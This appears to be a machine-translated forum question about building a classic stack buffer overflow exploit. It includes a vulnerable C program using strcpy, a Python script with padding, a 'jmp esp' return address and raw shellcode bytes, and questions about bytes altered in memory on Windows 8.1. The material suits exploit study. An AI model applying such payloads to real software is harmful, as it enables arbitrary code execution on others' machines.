我尝试编写自己的漏洞。这个想法很简单 - 将返回地址覆盖到操作码的位置' jmp esp'。在esp中是我的shellcode的地址。
所以我有这个简单的程序:
#include <stdio.h>
#include <string.h>
void do_something(char *Buffer)
{
char MyVar[100];
strcpy(MyVar,Buffer);
}
int main (int argc, char **argv)
{
do_something(argv[1]);
return 0;
}
我的漏洞利用python编写。代码:(我认为我的shellcode不起作用,但现在不重要了)
import os
import subprocess
out = '\x48' * 112
out = out + <address of 'jmp esp' opcode>
out = out + '\xcc\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68 \x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64'
subprocess.call(['SimpleExploit.exe', out])
如果地址是&#39; jmp esp&#39;操作码我已为0x41414141
设置:(AAAA)
一切都好(当然0x41414141
不是好地址,但我可以看到内存已经被覆盖了)
如果我输入正确的地址,我的问题就开始了。我找到了0x7769E24D
,所以我使用了这个值,然后在ollydbg中我看到了:
这是我的问题:为什么内存看起来不同?看起来已经删除了一行。但为什么?有趣的是,如果我只更改一个字节(0x77
到0x41
),则使用正确的值覆盖内存。
第二个问题是我的一些字节会转换为不同的值 - 例如0x8b
到0x3f
。
有人可以告诉我为什么会这样吗?也许这是一种保护?这与我的操作系统有关吗?我使用的是Windows 8.1 x64。